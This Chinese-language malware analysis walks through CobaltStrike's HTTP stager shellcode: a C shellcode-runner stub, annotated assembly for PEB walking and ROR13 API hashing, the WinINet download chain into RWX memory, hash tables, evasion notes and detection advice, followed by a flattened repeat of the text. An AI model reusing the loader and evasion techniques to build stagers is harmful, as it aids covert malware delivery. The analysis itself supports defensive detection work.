CobaltStrike Shellcode分析
字数 1847 2025-08-07 08:21:57

CobaltStrike Shellcode逆向分析:HTTP反向连接实现详解

一、Shellcode生成与基础设置

1.1 生成C语言版Payload

#include <stdio.h>
#include <Windows.h>
#pragma comment(linker, "/section:.data,RWE")  // 设置数据段可执行
unsigned char buf[] = "";  // Shellcode存放位置

int main() {
    // 直接执行数据段中的Shellcode
    ((void(*)())buf)();
    return 0;
}

关键点:

  • 使用#pragma comment(linker, "/section:.data,RWE")使数据段可读可写可执行
  • 静态内存分配便于调试(地址不变)
  • 通过函数指针直接执行Shellcode

1.2 Shellcode结构特点

  • 开头常见CLD指令(硬编码FC),清除方向标志位
  • 使用相对调用(CALL)而非绝对地址
  • 混合代码和数据,包含字符串和特征值

二、Shellcode执行流程分析

2.1 函数地址解析机制

核心算法:通过PEB遍历+哈希比较动态获取API地址

2.1.1 遍历模块列表

xor edx, edx
mov edx, dword ptr fs:[edx+30]  ; 获取PEB地址
mov edx, dword ptr ds:[edx+C]    ; 获取PEB_LDR_DATA
mov edx, dword ptr ds:[edx+14]   ; 获取第一个LDR_DATA_TABLE_ENTRY

2.1.2 模块名哈希计算

mov esi, dword ptr ds:[edx+28]   ; 获取BaseDllName
movzx ecx, word ptr ds:[edx+26]  ; 获取文件名长度
xor edi, edi
hash_loop:
    xor eax, eax
    lodsb                       ; 读取一个字符
    cmp al, 61h                 ; 判断是否小写字母
    jl not_lower
    sub al, 20h                 ; 转换为大写
not_lower:
    ror edi, 0Dh                ; 循环右移13位
    add edi, eax                ; 累加字符值
    loop hash_loop

2.1.3 导出表遍历与函数匹配

mov eax, dword ptr ds:[edx+3C]  ; 获取PE头偏移
add eax, edx                    ; 获取PE头地址
mov eax, dword ptr ds:[eax+78]  ; 获取导出表RVA
add eax, edx                    ; 获取导出表实际地址

; 遍历导出函数
mov ecx, dword ptr ds:[eax+18]  ; NumberOfNames
mov ebx, dword ptr ds:[eax+20]  ; AddressOfNames
add ebx, edx
function_loop:
    dec ecx
    mov esi, dword ptr ds:[ebx+ecx*4]
    add esi, edx                ; 获取函数名字符串地址
    
    ; 计算函数名哈希
    xor edi, edi
    hash_func:
        xor eax, eax
        lodsb
        ror edi, 0Dh
        add edi, eax
        cmp al, ah
        jne hash_func
    
    add edi, dword ptr ss:[ebp-8]  ; 加上模块哈希
    cmp edi, dword ptr ss:[ebp+24] ; 与目标哈希比较
    jne function_loop

2.2 关键API调用流程

2.2.1 初始加载

  1. LoadLibraryA - 加载wininet.dll

    • 特征哈希:0x726774C
    • 参数:"wininet"
  2. InternetOpenA - 初始化WinINet

    • 特征哈希:0xA779563A
    • 参数:全部为NULL

2.2.2 建立HTTP连接

  1. InternetConnectA - 连接服务器

    • 特征哈希:0xC69F8957
    • 参数:
      push ecx       ; NULL (dwContext)
      push ecx       ; NULL (dwFlags)
      push 3         ; INTERNET_SERVICE_HTTP
      push ecx       ; NULL (lpszPassword)
      push ecx       ; NULL (lpszUsername)
      push 52h       ; 80端口
      push ebx       ; 服务器IP地址字符串
      push eax       ; InternetOpen返回的句柄
      
  2. HttpOpenRequestA - 创建HTTP请求

    • 特征哈希:0x3B2E55EB
    • 参数:
      push edx       ; NULL (dwContext)
      push 84400200h ; INTERNET_FLAG_NO_CACHE_WRITE
      push edx       ; NULL (lplpszAcceptTypes)
      push edx       ; NULL (lpszReferrer)
      push edx       ; NULL (lpszVersion)
      push ebx       ; 请求路径
      push edx       ; NULL (lpszVerb)
      push eax       ; InternetConnect返回的句柄
      
  3. HttpSendRequestA - 发送HTTP请求

    • 特征哈希:0x7B18062D
    • 参数:
      push edi       ; NULL (dwOptionalLength)
      push edi       ; NULL (lpOptional)
      push FFFFFFFFh ; -1 (dwHeadersLength)
      push ebx       ; 请求头字符串
      push esi       ; HttpOpenRequest返回的句柄
      

2.2.3 错误处理

  1. GetDesktopWindow - 获取桌面窗口句柄

    • 特征哈希:0x315E2145
    • 无参数
  2. InternetErrorDlg - 显示错误对话框

    • 特征哈希:0xBE057B7
    • 参数:
      push eax       ; 桌面窗口句柄
      push esi       ; 请求句柄
      push ecx       ; 错误代码
      push 70h       ; 标志位
      push edi       ; NULL
      

2.2.4 内存分配与数据接收

  1. VirtualAlloc - 分配可执行内存

    • 特征哈希:0xE553A458
    • 参数:
      push edi       ; NULL
      push 4000000h  ; 64MB大小
      push 1000h     ; MEM_COMMIT
      push 40h       ; PAGE_EXECUTE_READWRITE
      
  2. InternetReadFile - 读取响应数据

    • 特征哈希:0xE2899612
    • 参数:
      push esi       ; 请求句柄
      push ebx       ; 缓冲区地址(VirtualAlloc返回)
      push 2000h     ; 读取大小(8KB)
      push edi       ; 接收实际读取字节数的指针
      
    • 循环读取直到数据接收完成

三、关键技术点总结

3.1 哈希算法

  • 模块名和函数名使用相同的哈希算法
  • 算法步骤:
    1. 初始化哈希值为0
    2. 对每个字符:
      • 转换为大写(如为小写)
      • 当前哈希值循环右移13位
      • 加上字符的ASCII值
  • 示例:"LoadLibraryA"0x726774C

3.2 内存规避技术

  • 不使用GetProcAddress等敏感API
  • 避免字符串直接暴露(使用压栈方式构造字符串)
  • 动态计算所有API地址
  • 数据与代码混合存放

3.3 网络通信流程

InternetOpenA → InternetConnectA → HttpOpenRequestA → HttpSendRequestA → InternetReadFile
  • 完整的HTTP通信链
  • 分块接收数据(每次8KB)
  • 错误处理机制

3.4 关键哈希值对照表

哈希值 API函数
0x0726774C LoadLibraryA
0xA779563A InternetOpenA
0xC69F8957 InternetConnectA
0x3B2E55EB HttpOpenRequestA
0x7B18062D HttpSendRequestA
0x315E2145 GetDesktopWindow
0xBE057B7 InternetErrorDlg
0xE553A458 VirtualAlloc
0xE2899612 InternetReadFile

四、防御检测建议

  1. 行为检测

    • 监控非常规的PEB遍历操作
    • 检测连续的WinINet API调用链
    • 关注大块可执行内存分配行为
  2. 特征检测

    • 识别哈希算法特征(循环右移13位)
    • 检测CLD开头的Shellcode
    • 监控包含关键哈希值的内存区域
  3. 网络检测

    • 分析异常的HTTP请求头
    • 监控分块接收数据的模式
    • 检测非常规端口上的HTTP通信
  4. 内存保护

    • 禁止数据段执行(取消DATA段的X属性)
    • 监控动态代码生成行为

通过深入理解这段Shellcode的工作原理,安全人员可以更好地设计检测规则,同时开发人员也能学习到如何编写更隐蔽的Shellcode实现技术。

CobaltStrike Shellcode逆向分析:HTTP反向连接实现详解 一、Shellcode生成与基础设置 1.1 生成C语言版Payload 关键点: 使用 #pragma comment(linker, "/section:.data,RWE") 使数据段可读可写可执行 静态内存分配便于调试(地址不变) 通过函数指针直接执行Shellcode 1.2 Shellcode结构特点 开头常见 CLD 指令(硬编码 FC ),清除方向标志位 使用相对调用( CALL )而非绝对地址 混合代码和数据,包含字符串和特征值 二、Shellcode执行流程分析 2.1 函数地址解析机制 核心算法:通过PEB遍历+哈希比较动态获取API地址 2.1.1 遍历模块列表 2.1.2 模块名哈希计算 2.1.3 导出表遍历与函数匹配 2.2 关键API调用流程 2.2.1 初始加载 LoadLibraryA - 加载wininet.dll 特征哈希: 0x726774C 参数: "wininet" InternetOpenA - 初始化WinINet 特征哈希: 0xA779563A 参数:全部为NULL 2.2.2 建立HTTP连接 InternetConnectA - 连接服务器 特征哈希: 0xC69F8957 参数: HttpOpenRequestA - 创建HTTP请求 特征哈希: 0x3B2E55EB 参数: HttpSendRequestA - 发送HTTP请求 特征哈希: 0x7B18062D 参数: 2.2.3 错误处理 GetDesktopWindow - 获取桌面窗口句柄 特征哈希: 0x315E2145 无参数 InternetErrorDlg - 显示错误对话框 特征哈希: 0xBE057B7 参数: 2.2.4 内存分配与数据接收 VirtualAlloc - 分配可执行内存 特征哈希: 0xE553A458 参数: InternetReadFile - 读取响应数据 特征哈希: 0xE2899612 参数: 循环读取直到数据接收完成 三、关键技术点总结 3.1 哈希算法 模块名和函数名使用相同的哈希算法 算法步骤: 初始化哈希值为0 对每个字符: 转换为大写(如为小写) 当前哈希值循环右移13位 加上字符的ASCII值 示例: "LoadLibraryA" → 0x726774C 3.2 内存规避技术 不使用 GetProcAddress 等敏感API 避免字符串直接暴露(使用压栈方式构造字符串) 动态计算所有API地址 数据与代码混合存放 3.3 网络通信流程 完整的HTTP通信链 分块接收数据(每次8KB) 错误处理机制 3.4 关键哈希值对照表 | 哈希值 | API函数 | |------------|--------------------| | 0x0726774C | LoadLibraryA | | 0xA779563A | InternetOpenA | | 0xC69F8957 | InternetConnectA | | 0x3B2E55EB | HttpOpenRequestA | | 0x7B18062D | HttpSendRequestA | | 0x315E2145 | GetDesktopWindow | | 0xBE057B7 | InternetErrorDlg | | 0xE553A458 | VirtualAlloc | | 0xE2899612 | InternetReadFile | 四、防御检测建议 行为检测 : 监控非常规的PEB遍历操作 检测连续的WinINet API调用链 关注大块可执行内存分配行为 特征检测 : 识别哈希算法特征(循环右移13位) 检测 CLD 开头的Shellcode 监控包含关键哈希值的内存区域 网络检测 : 分析异常的HTTP请求头 监控分块接收数据的模式 检测非常规端口上的HTTP通信 内存保护 : 禁止数据段执行(取消 DATA 段的 X 属性) 监控动态代码生成行为 通过深入理解这段Shellcode的工作原理,安全人员可以更好地设计检测规则,同时开发人员也能学习到如何编写更隐蔽的Shellcode实现技术。